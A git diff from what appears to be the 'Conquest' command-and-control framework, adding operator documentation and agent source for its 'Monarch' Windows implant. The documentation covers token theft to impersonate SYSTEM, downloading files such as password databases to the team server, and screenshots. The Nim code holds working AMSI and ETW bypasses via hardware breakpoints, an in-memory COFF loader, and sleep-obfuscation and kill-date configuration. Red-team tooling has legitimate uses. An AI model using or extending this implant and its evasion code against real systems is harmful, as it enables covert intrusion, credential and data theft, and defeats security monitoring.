|
||||||
|
Change current working directory.
|
||||||
|
|
||||||
|
```
|
||||||
|
Usage : cd <directory>
|
||||||
|
Example : cd C:\Windows\Tasks
|
||||||
|
|
||||||
|
Arguments:
|
||||||
|
Name Type Required Description
|
||||||
|
--------------- ------ -------- --------------------
|
||||||
|
* directory STRING YES Relative or absolute path of the directory to change to.
|
||||||
|
```
|
||||||
|
|
||||||
|
### ls
|
||||||
|
List files and directories.
|
||||||
|
|
||||||
|
```
|
||||||
|
Usage : ls [directory]
|
||||||
|
Example : ls C:\Users\Administrator\Desktop
|
||||||
|
|
||||||
|
Arguments:
|
||||||
|
Name Type Required Description
|
||||||
|
--------------- ------ -------- --------------------
|
||||||
|
* directory STRING NO Relative or absolute path. Default: current working directory.
|
||||||
|
```
|
||||||
|
|
||||||
|
### rm
|
||||||
|
Remove a file.
|
||||||
|
|
||||||
|
```
|
||||||
|
Usage : rm <file>
|
||||||
|
Example : rm C:\Windows\Tasks\payload.exe
|
||||||
|
|
||||||
|
Arguments:
|
||||||
|
Name Type Required Description
|
||||||
|
--------------- ------ -------- --------------------
|
||||||
|
* file STRING YES Relative or absolute path to the file to delete.
|
||||||
|
```
|
||||||
|
|
||||||
|
### rmdir
|
||||||
|
Remove a directory.
|
||||||
|
```
|
||||||
|
Usage : rmdir <directory>
|
||||||
|
Example : rm C:\Payloads
|
||||||
|
|
||||||
|
Arguments:
|
||||||
|
Name Type Required Description
|
||||||
|
--------------- ------ -------- --------------------
|
||||||
|
* directory STRING YES Relative or absolute path to the directory to delete.
|
||||||
|
```
|
||||||
|
|
||||||
|
### move
|
||||||
|
Move a file or directory.
|
||||||
|
|
||||||
|
```
|
||||||
|
Usage : move <source> <destination>
|
||||||
|
Example : move source.exe C:\Windows\Tasks\destination.exe
|
||||||
|
|
||||||
|
Arguments:
|
||||||
|
Name Type Required Description
|
||||||
|
--------------- ------ -------- --------------------
|
||||||
|
* source STRING YES Source file path.
|
||||||
|
* destination STRING YES Destination file path.
|
||||||
|
```
|
||||||
|
|
||||||
|
### copy
|
||||||
|
Copy a file or directory.
|
||||||
|
```
|
||||||
|
Usage : copy <source> <destination>
|
||||||
|
Example : copy source.exe C:\Windows\Tasks\destination.exe
|
||||||
|
|
||||||
|
Arguments:
|
||||||
|
Name Type Required Description
|
||||||
|
--------------- ------ -------- --------------------
|
||||||
|
* source STRING YES Source file path.
|
||||||
|
* destination STRING YES Destination file path.
|
||||||
|
```
|
||||||
|
|
||||||
|
## FILETRANSFER
|
||||||
|
The `filetransfer` module is used to transfer files from and to the target system.
|
||||||
|
|
||||||
|
### download
|
||||||
|
Download a file to the team server.
|
||||||
|
|
||||||
|
```
|
||||||
|
Usage : download <file>
|
||||||
|
Example : download C:\Users\john\Documents\Database.kdbx
|
||||||
|
|
||||||
|
Arguments:
|
||||||
|
Name Type Required Description
|
||||||
|
--------------- ------ -------- --------------------
|
||||||
|
* file STRING YES Path to file to download from the target machine.
|
||||||
|
```
|
||||||
|
|
||||||
|
### upload
|
||||||
|
Upload a file from the operator Desktop to the targe system.
|
||||||
|
```
|
||||||
|
Usage : upload <file>
|
||||||
|
Example : upload /path/to/payload.exe
|
||||||
|
|
||||||
|
Arguments:
|
||||||
|
Name Type Required Description
|
||||||
|
--------------- ------ -------- --------------------
|
||||||
|
* file BINARY YES Path to file to upload to the target machine.
|
||||||
|
```
|
||||||
|
|
||||||
|
## SCREENSHOT
|
||||||
|
The `screenshot` module can be used to capture a screenshot of all monitors of the system the agent is running on.
|
||||||
|
|
||||||
|
### screenshot
|
||||||
|
Take a screenshot of the target system.
|
||||||
|
```
|
||||||
|
Usage : screenshot
|
||||||
|
Example : screenshot
|
||||||
|
```
|
||||||
|
|
||||||
|
## SYSTEMINFO
|
||||||
|
Use the `systeminfo` module to query basic information, such as running processes and environment variables.
|
||||||
|
|
||||||
|
### ps
|
||||||
|
Display running processes.
|
||||||
|
```
|
||||||
|
Usage : ps
|
||||||
|
Example : ps
|
||||||
|
```
|
||||||
|
|
||||||
|
### env
|
||||||
|
Display environment variables.
|
||||||
|
```
|
||||||
|
Usage : env
|
||||||
|
Example : env
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## TOKEN
|
||||||
|
|
||||||
|
The `token` module can be used to manipulate Windows access tokens and privileges.
|
||||||
|
|
||||||
|
### make-token
|
||||||
|
Create an access token from username and password.
|
||||||
|
|
||||||
|
```
|
||||||
|
Usage : make-token <domain\username> <password> [logonType]
|
||||||
|
Example : make-token LAB\john Password123!
|
||||||
|
|
||||||
|
Arguments:
|
||||||
|
Name Type Required Description
|
||||||
|
--------------- ------ -------- --------------------
|
||||||
|
* domain\username STRING YES Account domain and username. For impersonating local users, use .\username.
|
||||||
|
* password STRING YES Account password.
|
||||||
|
* logonType INT NO Logon type (https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types).
|
||||||
|
```
|
||||||
|
|
||||||
|
By default, the logon type is set to 9 - NewCredentials, which is also the default for frameworks like Cobalt Strike. The credentials are hereby not validated, making it possible to create a new logon session as a target user without knowing the password and injecting a valid Kerberos ticket into the session to impersonate them. Alternatively, these are the logon types that can be used. Most of the time, logon type 9 will be the best option, though in some cases it might be useful to impersonate a local user with logon type 2.
|
||||||
|
|
||||||
|
|
||||||
|
| Logon type | # | Examples |
|
||||||
|
|------------|---|----------|
|
||||||
|
| Interactive (also known as, Logon locally) | 2 | Console logon;<br>RUNAS;<br>Hardware remote control solutions (such as Network KVM or Remote Access / Lights-Out Card in server)<br>IIS Basic Auth (before IIS 6.0) |
|
||||||
|
| Network | 3 | NET USE;<br>RPC calls;<br>Remote registry;<br>IIS integrated Windows auth;<br>SQL Windows auth; |
|
||||||
|
| Batch | 4 | Scheduled tasks |
|
||||||
|
| Service | 5 | Windows services |
|
||||||
|
| NetworkCleartext | 8 | IIS Basic Auth (IIS 6.0 and newer);<br>Windows PowerShell with CredSSP |
|
||||||
|
| NewCredentials | 9 | RUNAS /NETWORK |
|
||||||
|
| RemoteInteractive | 10 | Remote Desktop (formerly known as "Terminal Services") |
|
||||||
|
|
||||||
|
This command can be executed from a `Monarch` running in a **medium-integrity** (non-elevated) process. After creating a token from the username and password, the `make-token` command also impersonates it immediately. The current impersonation is displayed in the **Username** column of the **Sessions** view.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
### steal-token
|
||||||
|
Steal the primary access token of a remote process.
|
||||||
|
|
||||||
|
```
|
||||||
|
Usage : steal-token <pid>
|
||||||
|
Example : steal-token 1234
|
||||||
|
|
||||||
|
Arguments:
|
||||||
|
Name Type Required Description
|
||||||
|
--------------- ------ -------- --------------------
|
||||||
|
* pid INT YES Process ID of the target process.
|
||||||
|
```
|
||||||
|
|
||||||
|
The `steal-token` command requires the `Monarch` to be in an elevated process with a **high mandatory level**. By passing the target PID, it is possible to impersonate `NT AUTHORITY\SYSTEM` or other users.
|
||||||
|
|
||||||
|
In the screenshot below, the PID belongs to the `winlogon.exe` process, which is running as `NT AUTHORITY\SYSTEM`.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
### rev2self
|
||||||
|
Stop impersonating and revert to original access token.
|
||||||
|
|
||||||
|
```
|
||||||
|
Usage : rev2self
|
||||||
|
Example : rev2self
|
||||||
|
```
|
||||||
|
|
||||||
|
### token-info
|
||||||
|
Retrieve information about the current access token, such as token type, elevation, the user the token belongs to, group memberships and token privileges.
|
||||||
|
|
||||||
|
```
|
||||||
|
Usage : token-info
|
||||||
|
Example : token-info
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
### enable-privilege
|
||||||
|
Enable a token privilege.
|
||||||
|
|
||||||
|
```
|
||||||
|
Usage : enable-privilege <privilege>
|
||||||
|
Example : enable-privilege SeImpersonatePrivilege
|
||||||
|
|
||||||
|
Arguments:
|
||||||
|
Name Type Required Description
|
||||||
|
--------------- ------ -------- --------------------
|
||||||
|
* privilege STRING YES Privilege to enable.
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
### disable-privilege
|
||||||
|
Disable a token privilege.
|
||||||
|
|
||||||
|
```
|
||||||
|
Usage : disable-privilege <privilege>
|
||||||
|
Example : disable-privilege SeImpersonatePrivilege
|
||||||
|
|
||||||
|
Arguments:
|
||||||
|
Name Type Required Description
|
||||||
|
--------------- ------ -------- --------------------
|
||||||
|
* privilege STRING YES Privilege to disable.
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
@@ -1,45 +0,0 @@
|
|||||||
# "Monarch" Agent commands:
|
|
||||||
|
|
||||||
House-keeping
|
|
||||||
-------------
|
|
||||||
- [x] sleep : Set sleep obfuscation duration to a different value and persist that value in the agent
|
|
||||||
|
|
||||||
Basic API-only Commands
|
|
||||||
-----------------------
|
|
||||||
- [x] pwd : Get current working directory
|
|
||||||
- [x] cd : Change directory
|
|
||||||
- [x] ls/dir : List all files in directory (including hidden ones)
|
|
||||||
- [x] rm : Remove a file
|
|
||||||
- [x] rmdir : Remove a empty directory
|
|
||||||
- [x] mv : Move a file
|
|
||||||
- [x] cp : Copy a file
|
|
||||||
- [ ] cat/type : Display contents of a file
|
|
||||||
- [x] env : Display environment variables
|
|
||||||
- [x] ps : List processes
|
|
||||||
- [ ] whoami : Get UID and privileges, etc.
|
|
||||||
|
|
||||||
- [ ] token : Token impersonation
|
|
||||||
- [ ] make : Create a token from a user's plaintext password (LogonUserA, ImpersonateLoggedOnUser)
|
|
||||||
- [ ] steal : Steal the access token from a process (OpenProcess, OpenProcessToken, DuplicateToken, ImpersonateLoggedOnUser)
|
|
||||||
- [ ] use : Impersonate a token from the token vault (ImpersonateLoggedOnUser) -> update username like in Cobalt Strike
|
|
||||||
- [ ] rev2self : Revert to original logon session (RevertToSelf)
|
|
||||||
|
|
||||||
Execution Commands
|
|
||||||
------------------
|
|
||||||
- [x] shell : Execute shell command (to be implemented using Windows APIs instead of execCmdEx)
|
|
||||||
- [x] bof : Execute Beacon Object File in memory and retrieve output (bof /local/path/file.o)
|
|
||||||
- Read from listener endpoint directly to memory
|
|
||||||
- Base for all kinds of BOFs (Situational Awareness, ...)
|
|
||||||
- [ ] pe : Execute PE file in memory and retrieve output (pe /local/path/mimikatz.exe)
|
|
||||||
- [x] dotnet : Execute .NET assembly inline in memory and retrieve output (dotnet /local/path/Rubeus.exe )
|
|
||||||
|
|
||||||
Post-Exploitation
|
|
||||||
-----------------
|
|
||||||
- [x] upload : Upload file from server to agent (upload /local/path/to/file C:\Windows\Tasks)
|
|
||||||
- File to be downloaded moved to specific endpoint on listener, e.g. GET /<listener>/<agent>/<upload-task>/file
|
|
||||||
- Read from webserver and written to disk
|
|
||||||
- [x] download : Download file from agent to teamserver
|
|
||||||
- Create loot directory for agent to store files in
|
|
||||||
- Read file into memory and send byte stream to specific endpoint, e.g. POST /<listener>/<agent>/<download>-task/file
|
|
||||||
- Encrypt file in-transit!!!
|
|
||||||
- [x] screenshot : Take a screenshot of the entire desktop and all monitors
|
|
||||||
@@ -1,29 +0,0 @@
|
|||||||
# Installation Guide
|
|
||||||
|
|
||||||
1. Clone the Conquest repository
|
|
||||||
```
|
|
||||||
git clone https://github.com/jakobfriedl/conquest
|
|
||||||
cd conquest
|
|
||||||
```
|
|
||||||
|
|
||||||
2. Install Nim
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl https://nim-lang.org/choosenim/init.sh -sSf | sh
|
|
||||||
```
|
|
||||||
|
|
||||||
3. Install Nimble dependencies
|
|
||||||
```
|
|
||||||
nimble install -d
|
|
||||||
```
|
|
||||||
|
|
||||||
4. Build conquest binaries
|
|
||||||
```
|
|
||||||
nimble server
|
|
||||||
```
|
|
||||||
|
|
||||||
5. Start the Conquest server with a C2 Profile
|
|
||||||
```
|
|
||||||
./bin/server -p ./data/profile.toml
|
|
||||||
```
|
|
||||||
|
|
||||||
9
docs/README.md
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
# Documentation
|
||||||
|
|
||||||
|
1. [Installation](./1-INSTALLATION.md)
|
||||||
|
2. [Architecture & Specification](./2-ARCHITECTURE.md)
|
||||||
|
3. [C2 Profiles](./3-PROFILE.md)
|
||||||
|
4. [Operator Client](./4-CLIENT.md)
|
||||||
|
5. [Listeners](./5-LISTENER.md)
|
||||||
|
6. [Monarch Agent](./6-AGENT.md)
|
||||||
|
7. [Modules and Commands](./7-MODULES.md)
|
||||||
@@ -1,7 +0,0 @@
|
|||||||
# Conquest Agents
|
|
||||||
|
|
||||||
The `Monarch` agent is designed to run primarily on Windows. For cross-compilation from UNIX, use:
|
|
||||||
|
|
||||||
```
|
|
||||||
./build.sh
|
|
||||||
```
|
|
||||||
@@ -1,7 +1,7 @@
|
|||||||
import winim/[lean, clr]
|
import winim/[lean, clr]
|
||||||
import os, strformat, strutils, sequtils
|
import os
|
||||||
import ./hwbp
|
import ../utils/[hwbp, io]
|
||||||
import ../../common/[types, utils]
|
import ../../common/utils
|
||||||
|
|
||||||
#[
|
#[
|
||||||
Executing .NET assemblies in memory
|
Executing .NET assemblies in memory
|
||||||
@@ -19,14 +19,14 @@ import ../../common/[types, utils]
|
|||||||
proc amsiPatch(pThreadCtx: PCONTEXT) =
|
proc amsiPatch(pThreadCtx: PCONTEXT) =
|
||||||
# Set the AMSI_RESULT parameter to 0 (AMSI_RESULT_CLEAN)
|
# Set the AMSI_RESULT parameter to 0 (AMSI_RESULT_CLEAN)
|
||||||
SETPARAM_6(pThreadCtx, cast[PULONG](0))
|
SETPARAM_6(pThreadCtx, cast[PULONG](0))
|
||||||
echo protect(" [+] AMSI_SCAN_RESULT set to AMSI_RESULT_CLEAN")
|
print " [+] AMSI_SCAN_RESULT set to AMSI_RESULT_CLEAN"
|
||||||
CONTINUE_EXECUTION(pThreadCtx)
|
CONTINUE_EXECUTION(pThreadCtx)
|
||||||
|
|
||||||
proc etwPatch(pThreadCtx: PCONTEXT) =
|
proc etwPatch(pThreadCtx: PCONTEXT) =
|
||||||
pThreadCtx.Rip = cast[PULONG_PTR](pThreadCtx.Rsp)[]
|
pThreadCtx.Rip = cast[PULONG_PTR](pThreadCtx.Rsp)[]
|
||||||
pThreadCtx.Rsp += sizeof(PVOID)
|
pThreadCtx.Rsp += sizeof(PVOID)
|
||||||
pThreadCtx.Rax = STATUS_SUCCESS
|
pThreadCtx.Rax = STATUS_SUCCESS
|
||||||
echo protect(" [+] Return value of NtTraceEvent set to STATUS_SUCCESS")
|
print " [+] Return value of NtTraceEvent set to STATUS_SUCCESS"
|
||||||
CONTINUE_EXECUTION(pThreadCtx)
|
CONTINUE_EXECUTION(pThreadCtx)
|
||||||
|
|
||||||
#[
|
#[
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
import winim/lean
|
import winim/lean
|
||||||
import os, strformat, strutils, ptr_math
|
import os, strformat, strutils, ptr_math
|
||||||
import ./beacon
|
import ../utils/[beacon, io]
|
||||||
import ../../common/[types, utils, serialize]
|
import ../../common/[types, utils, serialize]
|
||||||
|
|
||||||
#[
|
#[
|
||||||
@@ -88,7 +88,7 @@ proc objectVirtualSize(objCtx: POBJECT_CTX): ULONG =
|
|||||||
# Check if symbol starts with `__ipm_` (imported functions)
|
# Check if symbol starts with `__ipm_` (imported functions)
|
||||||
if ($symbol).startsWith("__imp_"):
|
if ($symbol).startsWith("__imp_"):
|
||||||
length += ULONG(sizeof(PVOID))
|
length += ULONG(sizeof(PVOID))
|
||||||
# echo $symbol
|
# print $symbol
|
||||||
|
|
||||||
# Handle next relocation item/symbol
|
# Handle next relocation item/symbol
|
||||||
objRel = cast[PIMAGE_RELOCATION](cast[int](objRel) + sizeof(IMAGE_RELOCATION))
|
objRel = cast[PIMAGE_RELOCATION](cast[int](objRel) + sizeof(IMAGE_RELOCATION))
|
||||||
@@ -149,14 +149,14 @@ proc objectResolveSymbol(symbol: var PSTR): PVOID =
|
|||||||
if hModule == 0:
|
if hModule == 0:
|
||||||
hModule = LoadLibraryA(library)
|
hModule = LoadLibraryA(library)
|
||||||
if hModule == 0:
|
if hModule == 0:
|
||||||
raise newException(CatchableError, fmt"Library {$library} not found.")
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
# Resolve the function from the loaded library
|
# Resolve the function from the loaded library
|
||||||
resolved = GetProcAddress(hModule, function)
|
resolved = GetProcAddress(hModule, function)
|
||||||
if resolved == NULL:
|
if resolved == NULL:
|
||||||
raise newException(CatchableError, fmt"Function {$function} not found in {$library}.")
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
echo fmt" [>] {$symbol} @ 0x{resolved.repr}"
|
print fmt" [>] {$symbol} @ 0x{resolved.repr}"
|
||||||
|
|
||||||
RtlSecureZeroMemory(addr buffer[0], sizeof(buffer))
|
RtlSecureZeroMemory(addr buffer[0], sizeof(buffer))
|
||||||
|
|
||||||
@@ -295,7 +295,7 @@ proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: seq[byte]): bool =
|
|||||||
|
|
||||||
# Change the memory protection from [RW-] to [R-X]
|
# Change the memory protection from [RW-] to [R-X]
|
||||||
if VirtualProtect(secBase, secSize, PAGE_EXECUTE_READ, addr oldProtect) == 0:
|
if VirtualProtect(secBase, secSize, PAGE_EXECUTE_READ, addr oldProtect) == 0:
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
# Execute BOF entry point
|
# Execute BOF entry point
|
||||||
var entryPoint = cast[EntryPoint](cast[uint](secBase) + cast[uint](objSym.Value))
|
var entryPoint = cast[EntryPoint](cast[uint](secBase) + cast[uint](objSym.Value))
|
||||||
@@ -307,7 +307,7 @@ proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: seq[byte]): bool =
|
|||||||
|
|
||||||
# Revert the memory protection change
|
# Revert the memory protection change
|
||||||
if VirtualProtect(secBase, secSize, oldProtect, addr oldProtect) == 0:
|
if VirtualProtect(secBase, secSize, oldProtect, addr oldProtect) == 0:
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
return true
|
return true
|
||||||
|
|
||||||
@@ -332,45 +332,45 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
|
|||||||
|
|
||||||
var pObject = addr objectFile[0]
|
var pObject = addr objectFile[0]
|
||||||
if pObject == NULL or entryFunction == NULL:
|
if pObject == NULL or entryFunction == NULL:
|
||||||
raise newException(CatchableError, "Arguments pObject and entryFunction are required.")
|
raise newException(CatchableError, protect("Missing required arguments."))
|
||||||
|
|
||||||
# Parsing the object file's file header, symbol table and sections
|
# Parsing the object file's file header, symbol table and sections
|
||||||
objCtx.union.header = cast[PIMAGE_FILE_HEADER](pObject)
|
objCtx.union.header = cast[PIMAGE_FILE_HEADER](pObject)
|
||||||
objCtx.symTbl = cast[PIMAGE_SYMBOL](cast[int](pObject) + cast[int](objCtx.union.header.PointerToSymbolTable))
|
objCtx.symTbl = cast[PIMAGE_SYMBOL](cast[int](pObject) + cast[int](objCtx.union.header.PointerToSymbolTable))
|
||||||
objCtx.sections = cast[PIMAGE_SECTION_HEADER](cast[int](pObject) + sizeof(IMAGE_FILE_HEADER))
|
objCtx.sections = cast[PIMAGE_SECTION_HEADER](cast[int](pObject) + sizeof(IMAGE_FILE_HEADER))
|
||||||
|
|
||||||
# echo objCtx.union.header.repr
|
# print objCtx.union.header.repr
|
||||||
# echo objCtx.symTbl.repr
|
# print objCtx.symTbl.repr
|
||||||
# echo objCtx.sections.repr
|
# print objCtx.sections.repr
|
||||||
|
|
||||||
# Verifying that the object file's architecture is x64
|
# Verifying that the object file's architecture is x64
|
||||||
when defined(amd64):
|
when defined(amd64):
|
||||||
if objCtx.union.header.Machine != IMAGE_FILE_MACHINE_AMD64:
|
if objCtx.union.header.Machine != IMAGE_FILE_MACHINE_AMD64:
|
||||||
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
||||||
raise newException(CatchableError, "Only x64 object files are supported")
|
raise newException(CatchableError, protect("Only x64 object files are supported."))
|
||||||
else:
|
else:
|
||||||
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
||||||
raise newException(CatchableError, "Only x64 object files are supported")
|
raise newException(CatchableError, protect("Only x64 object files are supported."))
|
||||||
|
|
||||||
# Calculate required virtual memory
|
# Calculate required virtual memory
|
||||||
virtSize = objectVirtualSize(addr objCtx)
|
virtSize = objectVirtualSize(addr objCtx)
|
||||||
echo fmt"[*] Virtual size of object file: {virtSize} bytes"
|
print fmt"[*] Virtual size of object file: {virtSize} bytes"
|
||||||
|
|
||||||
# Allocate memory
|
# Allocate memory
|
||||||
virtAddr = VirtualAlloc(NULL, virtSize, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE)
|
virtAddr = VirtualAlloc(NULL, virtSize, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE)
|
||||||
if virtAddr == NULL:
|
if virtAddr == NULL:
|
||||||
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
defer: VirtualFree(virtAddr, 0, MEM_RELEASE)
|
defer: VirtualFree(virtAddr, 0, MEM_RELEASE)
|
||||||
|
|
||||||
# Allocate heap memory to store section map array
|
# Allocate heap memory to store section map array
|
||||||
objCtx.secMap = cast[PSECTION_MAP](HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, int(objCtx.union.header.NumberOfSections) * sizeof(SECTION_MAP)))
|
objCtx.secMap = cast[PSECTION_MAP](HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, int(objCtx.union.header.NumberOfSections) * sizeof(SECTION_MAP)))
|
||||||
if objCtx.secMap == NULL:
|
if objCtx.secMap == NULL:
|
||||||
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, objCtx.secMap)
|
defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, objCtx.secMap)
|
||||||
|
|
||||||
echo fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)"
|
print fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)"
|
||||||
|
|
||||||
# Set the section base to the allocated memory
|
# Set the section base to the allocated memory
|
||||||
secBase = virtAddr
|
secBase = virtAddr
|
||||||
@@ -380,7 +380,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
|
|||||||
sections = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](objCtx.sections)
|
sections = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](objCtx.sections)
|
||||||
secMap = cast[ptr UncheckedArray[SECTION_MAP]](objCtx.secMap)
|
secMap = cast[ptr UncheckedArray[SECTION_MAP]](objCtx.secMap)
|
||||||
|
|
||||||
echo "[*] Copying over sections."
|
print "[*] Copying over sections."
|
||||||
for i in 0 ..< int(objCtx.union.header.NumberOfSections):
|
for i in 0 ..< int(objCtx.union.header.NumberOfSections):
|
||||||
secSize = sections[i].SizeOfRawData
|
secSize = sections[i].SizeOfRawData
|
||||||
secMap[i].size = secSize
|
secMap[i].size = secSize
|
||||||
@@ -388,7 +388,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
|
|||||||
|
|
||||||
# Copy over section data
|
# Copy over section data
|
||||||
copyMem(secBase, cast[PVOID](objCtx.union.base + cast[int](sections[i].PointerToRawData)), secSize)
|
copyMem(secBase, cast[PVOID](objCtx.union.base + cast[int](sections[i].PointerToRawData)), secSize)
|
||||||
echo fmt" [>] {$(addr sections[i].Name)} @ 0x{secBase.repr} ({secSize} bytes))"
|
print fmt" [>] {$(addr sections[i].Name)} @ 0x{secBase.repr} ({secSize} bytes))"
|
||||||
|
|
||||||
# Get the next page entry
|
# Get the next page entry
|
||||||
secBase = cast[PVOID](PAGE_ALIGN(cast[uint](secBase) + uint(secSize)))
|
secBase = cast[PVOID](PAGE_ALIGN(cast[uint](secBase) + uint(secSize)))
|
||||||
@@ -396,17 +396,17 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
|
|||||||
# The last page of the memory is the symbol/function map
|
# The last page of the memory is the symbol/function map
|
||||||
objCtx.symMap = cast[ptr PVOID](secBase)
|
objCtx.symMap = cast[ptr PVOID](secBase)
|
||||||
|
|
||||||
echo "[*] Processing sections and performing relocations."
|
print "[*] Processing sections and performing relocations."
|
||||||
if not objectProcessSection(addr objCtx):
|
if not objectProcessSection(addr objCtx):
|
||||||
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
||||||
raise newException(CatchableError, "Failed to process sections.")
|
raise newException(CatchableError, protect("Failed to process sections."))
|
||||||
|
|
||||||
# Executing the object file
|
# Executing the object file
|
||||||
echo "[*] Executing."
|
print "[*] Executing."
|
||||||
if not objectExecute(addr objCtx, entryFunction, args):
|
if not objectExecute(addr objCtx, entryFunction, args):
|
||||||
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
||||||
raise newException(CatchableError, fmt"Failed to execute function {$entryFunction}.")
|
raise newException(CatchableError, fmt"Failed to execute function {$entryFunction}.")
|
||||||
echo "[+] Object file executed successfully."
|
print "[+] Object file executed successfully."
|
||||||
|
|
||||||
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
||||||
|
|
||||||
@@ -449,7 +449,7 @@ proc generateCoffArguments*(args: seq[TaskArg]): seq[byte] =
|
|||||||
prefix = Bytes.toString(arg.data)[0..3]
|
prefix = Bytes.toString(arg.data)[0..3]
|
||||||
value = Bytes.toString(arg.data)[4..^1]
|
value = Bytes.toString(arg.data)[4..^1]
|
||||||
|
|
||||||
# Check the first two characters for a type specification
|
# Check the prefix for a type specification
|
||||||
case prefix:
|
case prefix:
|
||||||
of protect("[i]:"):
|
of protect("[i]:"):
|
||||||
# Handle argument as integer
|
# Handle argument as integer
|
||||||
@@ -465,8 +465,7 @@ proc generateCoffArguments*(args: seq[TaskArg]): seq[byte] =
|
|||||||
# Handle argument as wide string
|
# Handle argument as wide string
|
||||||
# Add terminating NULL byte to the end of string arguments
|
# Add terminating NULL byte to the end of string arguments
|
||||||
let wStrData = cast[seq[byte]](+$value) # +$ converts a string to a wstring
|
let wStrData = cast[seq[byte]](+$value) # +$ converts a string to a wstring
|
||||||
packer.add(uint32(wStrData.len()))
|
packer.addDataWithLengthPrefix(wStrData)
|
||||||
packer.addData(wStrData)
|
|
||||||
|
|
||||||
else:
|
else:
|
||||||
# In case no prefix is specified, handle the argument as a regular string
|
# In case no prefix is specified, handle the argument as a regular string
|
||||||
@@ -476,8 +475,7 @@ proc generateCoffArguments*(args: seq[TaskArg]): seq[byte] =
|
|||||||
# Handle argument as regular string
|
# Handle argument as regular string
|
||||||
# Add terminating NULL byte to the end of string arguments
|
# Add terminating NULL byte to the end of string arguments
|
||||||
let data = arg.data & @[uint8(0)]
|
let data = arg.data & @[uint8(0)]
|
||||||
packer.add(uint32(data.len()))
|
packer.addDataWithLengthPrefix(data)
|
||||||
packer.addData(data)
|
|
||||||
|
|
||||||
else:
|
else:
|
||||||
# Argument is not passed as a string, but instead directly as a int or short
|
# Argument is not passed as a string, but instead directly as a int or short
|
||||||
|
|||||||
@@ -1,4 +1,5 @@
|
|||||||
import parsetoml, base64, system
|
import parsetoml, system
|
||||||
|
import ../utils/io
|
||||||
import ../../common/[types, utils, crypto, serialize]
|
import ../../common/[types, utils, crypto, serialize]
|
||||||
|
|
||||||
const CONFIGURATION {.strdefine.}: string = ""
|
const CONFIGURATION {.strdefine.}: string = ""
|
||||||
@@ -27,19 +28,30 @@ proc deserializeConfiguration(config: string): AgentCtx =
|
|||||||
var ctx = AgentCtx(
|
var ctx = AgentCtx(
|
||||||
agentId: generateUUID(),
|
agentId: generateUUID(),
|
||||||
listenerId: Uuid.toString(unpacker.getUint32()),
|
listenerId: Uuid.toString(unpacker.getUint32()),
|
||||||
ip: unpacker.getDataWithLengthPrefix(),
|
hosts: unpacker.getDataWithLengthPrefix(),
|
||||||
port: int(unpacker.getUint32()),
|
sleepSettings: SleepSettings(
|
||||||
sleep: int(unpacker.getUint32()),
|
sleepDelay: unpacker.getUint32(),
|
||||||
sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()),
|
jitter: unpacker.getUint32(),
|
||||||
spoofStack: cast[bool](unpacker.getUint8()),
|
sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()),
|
||||||
|
spoofStack: cast[bool](unpacker.getUint8()),
|
||||||
|
workingHours: WorkingHours(
|
||||||
|
enabled: cast[bool](unpacker.getUint8()),
|
||||||
|
startHour: cast[int32](unpacker.getUint32()),
|
||||||
|
startMinute: cast[int32](unpacker.getUint32()),
|
||||||
|
endHour: cast[int32](unpacker.getUint32()),
|
||||||
|
endMinute: cast[int32](unpacker.getUint32())
|
||||||
|
)
|
||||||
|
),
|
||||||
|
killDate: cast[int64](unpacker.getUint64()),
|
||||||
